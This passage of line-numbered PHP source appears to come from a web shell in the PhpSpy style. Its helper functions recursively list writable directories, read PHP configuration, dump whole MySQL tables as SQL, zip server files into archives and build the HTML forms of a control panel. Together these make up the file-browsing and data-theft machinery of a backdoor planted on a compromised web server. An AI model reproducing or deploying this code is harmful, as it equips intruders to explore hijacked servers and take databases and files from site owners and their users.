1384 $nowpath = $scriptpath;
1385 }
1386 $nowpath = str_replace('\\', '/', $nowpath);
1387 $nowpath = str_replace('//', '/', $nowpath);
1388 if(substr($nowpath, -1) != '/') {
1389 $nowpath = $nowpath.'/';
1390 }
1391 return $nowpath;
1392}
1393function getUpPath($nowpath) {
1394 $pathdb = explode('/', $nowpath);
1395 $num = count($pathdb);
1396 if($num > 2) {
1397 unset($pathdb[$num-1],$pathdb[$num-2]);
1398 }
1399 $uppath = implode('/', $pathdb).'/';
1400 $uppath = str_replace('//', '/', $uppath);
1401 return $uppath;
1402}
1403function getcfg($var) {
1404 $l = @ini_get($var);$i = @get_cfg_var($var);
1405 $l = $l == 0 ? 'No' : ($l == 1 ? 'Yes' : $l);
1406 $i = $i == 0 ? 'No' : ($i == 1 ? 'Yes' : $i);
1407 $r = 'Local value: '.$l.' - INI value: '.$i;
1408 return $r;
1409}
1410function GetList($dir){
1411global $dirdata,$j,$nowpath;
1412!$j && $j=1;
1413if($dh = opendir($dir)) {
1414 while ($file = readdir($dh)) {
1415 $f=str_replace('//','/',$dir.'/'.$file);
1416 if($file!='.' && $file!='..' && is_dir($f)){
1417 if(is_writable($f)) {
1418 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1419 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1420 $dirdata[$j]['dirchmod']=getChmod($f);
1421 $dirdata[$j]['dirperm']=getPerms($f);
1422 $dirdata[$j]['dirlink']=ue($dir);
1423 $dirdata[$j]['server_link']=$f;
1424 $dirdata[$j]['client_link']=ue($f);
1425 $j++;
1426 }
1427 GetList($f);
1428 }
1429 }
1430 closedir($dh);
1431 clearstatcache();
1432 return $dirdata;
1433 } else {
1434 return array();
1435 }
1436}
1437function qy($sql) {
1438$res = $error = '';
1439if(!$res = @mysql_query($sql)) {
1440 return 0;
1441 } else if(is_resource($res)) {
1442 return 1;
1443 } else {
1444 return 2;
1445 }
1446return 0;
1447}
1448function q($sql) {return @mysql_query($sql);}
1449function fr($qy){mysql_free_result($qy);}
1450function sizecount($size) {
1451 if($size > 1073741824) {
1452 $size = round($size / 1073741824 * 100) / 100 . ' G';
1453 } elseif($size > 1048576) {
1454 $size = round($size / 1048576 * 100) / 100 . ' M';
1455 } elseif($size > 1024) {
1456 $size = round($size / 1024 * 100) / 100 . ' K';
1457 } else {
1458 $size = $size . ' B';
1459 }
1460 return $size;
1461}
1462class PHPZip{
1463 var $out='';
1464 function PHPZip($dir) {
1465 if(isfunc('gzcompress')) {
1466 $curdir = getcwd();
1467 if(is_array($dir)) $filelist = $dir;
1468 else{
1469 $filelist=$this -> GetFileList($dir);
1470 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1471 }
1472 if((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1473 else chdir($curdir);
1474 if(count($filelist)>0){
1475 foreach($filelist as $filename){
1476 if(is_file($filename)){
1477 $fd = fopen ($filename, 'r');
1478 $content = @fread ($fd, filesize($filename));
1479 fclose ($fd);
1480 if(is_array($dir)) $filename = basename($filename);
1481 $this -> addFile($content, $filename);
1482 }
1483 }
1484 $this->out = $this -> file();
1485 chdir($curdir);
1486 }
1487 return 1;
1488 }
1489 else return 0;
1490 }
1491 function GetFileList($dir){
1492 static $a;
1493 if(is_dir($dir)) {
1494 if($dh = opendir($dir)) {
1495 while ($file = readdir($dh)) {
1496 if($file!='.' && $file!='..'){
1497 $f=$dir .'/'. $file;
1498 if(is_dir($f)) $this->GetFileList($f);
1499 $a[]=$f;
1500 }
1501 }
1502 closedir($dh);
1503 }
1504 }
1505 return $a;
1506 }
1507 var $datasec = array();
1508 var $ctrl_dir = array();
1509 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1510 var $old_offset = 0;
1511 function unix2DosTime($unixtime = 0) {
1512 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1513 if($timearray['year'] < 1980) {
1514 $timearray['year'] = 1980;
1515 $timearray['mon'] = 1;
1516 $timearray['mday'] = 1;
1517 $timearray['hours'] = 0;
1518 $timearray['minutes'] = 0;
1519 $timearray['seconds'] = 0;
1520 }
1521 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1522 }
1523 function addFile($data, $name, $time = 0) {
1524 $name = str_replace('\\', '/', $name);
1525 $dtime = dechex($this->unix2DosTime($time));
1526 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1527 . '\x' . $dtime[4] . $dtime[5]
1528 . '\x' . $dtime[2] . $dtime[3]
1529 . '\x' . $dtime[0] . $dtime[1];
1530 eval('$hexdtime = "' . $hexdtime . '";');
1531 $fr = "\x50\x4b\x03\x04";
1532 $fr .= "\x14\x00";
1533 $fr .= "\x00\x00";
1534 $fr .= "\x08\x00";
1535 $fr .= $hexdtime;
1536 $unc_len = strlen($data);
1537 $crc = crc32($data);
1538 $zdata = gzcompress($data);
1539 $c_len = strlen($zdata);
1540 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1541 $fr .= pack('V', $crc);
1542 $fr .= pack('V', $c_len);
1543 $fr .= pack('V', $unc_len);
1544 $fr .= pack('v', strlen($name));
1545 $fr .= pack('v', 0);
1546 $fr .= $name;
1547 $fr .= $zdata;
1548 $fr .= pack('V', $crc);
1549 $fr .= pack('V', $c_len);
1550 $fr .= pack('V', $unc_len);
1551 $this -> datasec[] = $fr;
1552 $new_offset = strlen(implode('', $this->datasec));
1553 $cdrec = "\x50\x4b\x01\x02";
1554 $cdrec .= "\x00\x00";
1555 $cdrec .= "\x14\x00";
1556 $cdrec .= "\x00\x00";
1557 $cdrec .= "\x08\x00";
1558 $cdrec .= $hexdtime;
1559 $cdrec .= pack('V', $crc);
1560 $cdrec .= pack('V', $c_len);
1561 $cdrec .= pack('V', $unc_len);
1562 $cdrec .= pack('v', strlen($name) );
1563 $cdrec .= pack('v', 0 );
1564 $cdrec .= pack('v', 0 );
1565 $cdrec .= pack('v', 0 );
1566 $cdrec .= pack('v', 0 );
1567 $cdrec .= pack('V', 32 );
1568 $cdrec .= pack('V', $this -> old_offset );
1569 $this -> old_offset = $new_offset;
1570 $cdrec .= $name;
1571 $this -> ctrl_dir[] = $cdrec;
1572 }
1573 function file() {
1574 $data = implode('', $this -> datasec);
1575 $ctrldir = implode('', $this -> ctrl_dir);
1576 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1577 }
1578}
1579function sqldumptable($table, $fp=0) {
1580 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1581 $tabledump .= "CREATE TABLE $table (\n";
1582 $firstfield=1;
1583 $fields = q("SHOW FIELDS FROM $table");
1584 while ($field = mysql_fetch_array($fields)) {
1585 if(!$firstfield) {
1586 $tabledump .= ",\n";
1587 } else {
1588 $firstfield=0;
1589 }
1590 $tabledump .= " $field[Field] $field[Type]";
1591 if(!empty($field["Default"])) {
1592 $tabledump .= " DEFAULT '$field[Default]'";
1593 }
1594 if($field['Null'] != "YES") {
1595 $tabledump .= " NOT NULL";
1596 }
1597 if($field['Extra'] != "") {
1598 $tabledump .= " $field[Extra]";
1599 }
1600 }
1601 fr($fields);
1602 $keys = q("SHOW KEYS FROM $table");
1603 while ($key = mysql_fetch_array($keys)) {
1604 $kname=$key['Key_name'];
1605 if($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1606 $kname="UNIQUE|$kname";
1607 }
1608 if(!is_array($index[$kname])) {
1609 $index[$kname] = array();
1610 }
1611 $index[$kname][] = $key['Column_name'];
1612 }
1613 fr($keys);
1614 while(list($kname, $columns) = @each($index)) {
1615 $tabledump .= ",\n";
1616 $colnames=implode($columns,",");
1617 if($kname == "PRIMARY") {
1618 $tabledump .= " PRIMARY KEY ($colnames)";
1619 } else {
1620 if(substr($kname,0,6) == "UNIQUE") {
1621 $kname=substr($kname,7);
1622 }
1623 $tabledump .= " KEY $kname ($colnames)";
1624 }
1625 }
1626 $tabledump .= "\n);\n\n";
1627 if($fp) {
1628 fwrite($fp,$tabledump);
1629 } else {
1630 echo $tabledump;
1631 }
1632 $rows = q("SELECT * FROM $table");
1633 $numfields = mysql_num_fields($rows);
1634 while ($row = mysql_fetch_array($rows)) {
1635 $tabledump = "INSERT INTO $table VALUES(";
1636 $fieldcounter=-1;
1637 $firstfield=1;
1638 while (++$fieldcounter<$numfields) {
1639 if(!$firstfield) {
1640 $tabledump.=", ";
1641 } else {
1642 $firstfield=0;
1643 }
1644 if(!isset($row[$fieldcounter])) {
1645 $tabledump .= "NULL";
1646 } else {
1647 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1648 }
1649 }
1650 $tabledump .= ");\n";
1651 if($fp) {
1652 fwrite($fp,$tabledump);
1653 } else {
1654 echo $tabledump;
1655 }
1656 }
1657 fr($rows);
1658 if($fp) {
1659 fwrite($fp,"\n");
1660 } else {
1661 echo "\n";
1662 }
1663}
1664function ue($str){return urlencode($str);}
1665function p($str){echo $str."\n";}
1666function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}
1667function tbfoot(){p('</table>');}
1668function makehide($name,$value=''){p('<input id="'.$name.'" type="hidden" name="'.$name.'" value="'.$value.'" />');}
1669function makeinput($arg = array()){
1670$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1671$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1672!$arg['type'] && $arg['type'] = 'text';
1673$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1674$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1675if($arg['newline']) {
1676 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1677 } else {
1678 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1679 }
1680}
1681function makeselect($arg = array()){
1682if($arg['onchange']) {
1683 $onchange = 'onchange="'.$arg['onchange'].'"';
1684}
1685$arg['title'] = $arg['title'] ? $arg['title'] : '';
1686if($arg['newline']) p('<p>');
1687 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1688 if(is_array($arg['option'])) {
1689 foreach ($arg['option'] as $key=>$value) {
1690 if($arg['selected']==$key) {
1691 p("<option value=\"$key\" selected>$value</option>");
1692 } else {
1693 p("<option value=\"$key\">$value</option>");
1694 }
1695 }
1696 }
1697p("</select>");
1698if($arg['newline']) p('</p>');
1699}
1700function formhead($arg = array()) {
1701!$arg['method'] && $arg['method'] = 'post';
1702!$arg['action'] && $arg['action'] = $self;
1703$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1704!$arg['name'] && $arg['name'] = 'form1';
1705p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1706if($arg['title']) {p('<h2>'.$arg['title'].' »</h2>');}
1707}
1708function maketext($arg = array()){
1709!$arg['cols'] && $arg['cols'] = 100;
1710!$arg['rows'] && $arg['rows'] = 25;
1711$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1712p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1713}
1714function formfooter($name=''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit" /></p>'."\n</form>");}
1715exit();